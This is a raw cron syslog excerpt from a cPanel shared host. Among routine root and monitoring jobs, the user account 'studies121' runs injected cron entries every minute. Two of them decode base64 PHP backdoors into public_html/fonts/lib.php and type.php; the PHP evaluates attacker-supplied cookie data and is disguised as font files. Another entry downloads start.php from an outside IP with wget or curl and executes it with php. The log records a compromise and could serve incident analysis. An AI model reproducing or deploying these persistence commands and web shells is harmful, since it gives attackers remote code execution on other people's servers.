Sep  2 10:49:01 ip-184-168-122-23 CROND[894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:49:01 ip-184-168-122-23 CROND[892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:49:01 ip-184-168-122-23 CROND[895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:49:01 ip-184-168-122-23 CROND[896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:50:01 ip-184-168-122-23 CROND[1025]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 10:50:01 ip-184-168-122-23 CROND[1026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:50:01 ip-184-168-122-23 CROND[1028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:50:01 ip-184-168-122-23 CROND[1030]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:50:01 ip-184-168-122-23 CROND[1032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:50:01 ip-184-168-122-23 CROND[1036]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:50:01 ip-184-168-122-23 CROND[1037]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 10:50:01 ip-184-168-122-23 CROND[1040]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:50:01 ip-184-168-122-23 CROND[1042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:51:02 ip-184-168-122-23 CROND[1143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:51:02 ip-184-168-122-23 CROND[1144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:51:02 ip-184-168-122-23 CROND[1145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:51:02 ip-184-168-122-23 CROND[1147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:52:01 ip-184-168-122-23 CROND[1237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:52:01 ip-184-168-122-23 CROND[1240]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:52:01 ip-184-168-122-23 CROND[1242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:52:01 ip-184-168-122-23 CROND[1241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:52:01 ip-184-168-122-23 CROND[1239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:53:01 ip-184-168-122-23 CROND[1442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:53:01 ip-184-168-122-23 CROND[1443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:53:01 ip-184-168-122-23 CROND[1444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:53:01 ip-184-168-122-23 CROND[1447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:54:01 ip-184-168-122-23 CROND[1568]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:54:01 ip-184-168-122-23 CROND[1572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:54:01 ip-184-168-122-23 CROND[1571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:54:01 ip-184-168-122-23 CROND[1575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:54:01 ip-184-168-122-23 CROND[1580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:55:02 ip-184-168-122-23 CROND[1681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:55:02 ip-184-168-122-23 CROND[1685]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:55:02 ip-184-168-122-23 CROND[1684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:55:02 ip-184-168-122-23 CROND[1686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:55:02 ip-184-168-122-23 CROND[1687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:55:02 ip-184-168-122-23 CROND[1683]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:56:01 ip-184-168-122-23 CROND[1816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:56:01 ip-184-168-122-23 CROND[1819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:56:01 ip-184-168-122-23 CROND[1818]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:56:01 ip-184-168-122-23 CROND[1823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:56:01 ip-184-168-122-23 CROND[1822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:57:01 ip-184-168-122-23 CROND[2008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:57:01 ip-184-168-122-23 CROND[2010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:57:01 ip-184-168-122-23 CROND[2012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:57:01 ip-184-168-122-23 CROND[2011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:58:01 ip-184-168-122-23 CROND[2094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:58:01 ip-184-168-122-23 CROND[2095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:58:01 ip-184-168-122-23 CROND[2096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:58:01 ip-184-168-122-23 CROND[2098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:58:01 ip-184-168-122-23 CROND[2099]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:59:01 ip-184-168-122-23 CROND[2232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:59:01 ip-184-168-122-23 CROND[2235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:59:01 ip-184-168-122-23 CROND[2236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:59:01 ip-184-168-122-23 CROND[2237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:00:01 ip-184-168-122-23 CROND[2361]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:00:01 ip-184-168-122-23 CROND[2363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:00:01 ip-184-168-122-23 CROND[2368]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:00:01 ip-184-168-122-23 CROND[2369]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 11:00:01 ip-184-168-122-23 CROND[2366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:00:01 ip-184-168-122-23 CROND[2367]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:00:01 ip-184-168-122-23 CROND[2371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:00:01 ip-184-168-122-23 CROND[2372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:01:01 ip-184-168-122-23 CROND[2496]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2496]: starting 0anacron
Sep  2 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2505]: finished 0anacron
